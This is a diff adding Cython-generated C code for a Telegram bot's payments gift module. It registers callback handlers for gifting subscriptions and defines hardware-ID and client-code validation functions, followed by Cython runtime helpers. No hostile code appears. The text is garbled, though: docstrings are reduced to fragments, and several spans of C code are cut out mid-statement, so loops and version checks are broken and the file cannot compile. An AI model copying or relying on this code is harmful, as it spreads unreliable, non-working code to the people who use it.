__PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_gift, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_7gift_subscription_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_gift_subscription_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__21)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_gift_subscription_handler, __pyx_t_2) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__51, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_10confirm_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_confirm_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__25)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_confirm_gift_handler, __pyx_t_4) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_startswith); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__53, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_13finalize_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_finalize_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__32)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_finalize_gift_handler, __pyx_t_2) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":174 + * + * + * def get_hardware_id(): # <<<<<<<<<<<<<< + * """ + * hardware-. + */ + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_16get_hardware_id, 0, __pyx_n_s_get_hardware_id, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__56)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_hardware_id, __pyx_t_2) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_18validate_client_code, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_validate_client_code, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__39)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_validate_client_code, __pyx_t_2) < 0) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":1 + * import hashlib # <<<<<<<<<<<<<< + * import platform + * import subprocess + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.gift", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.gift"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto 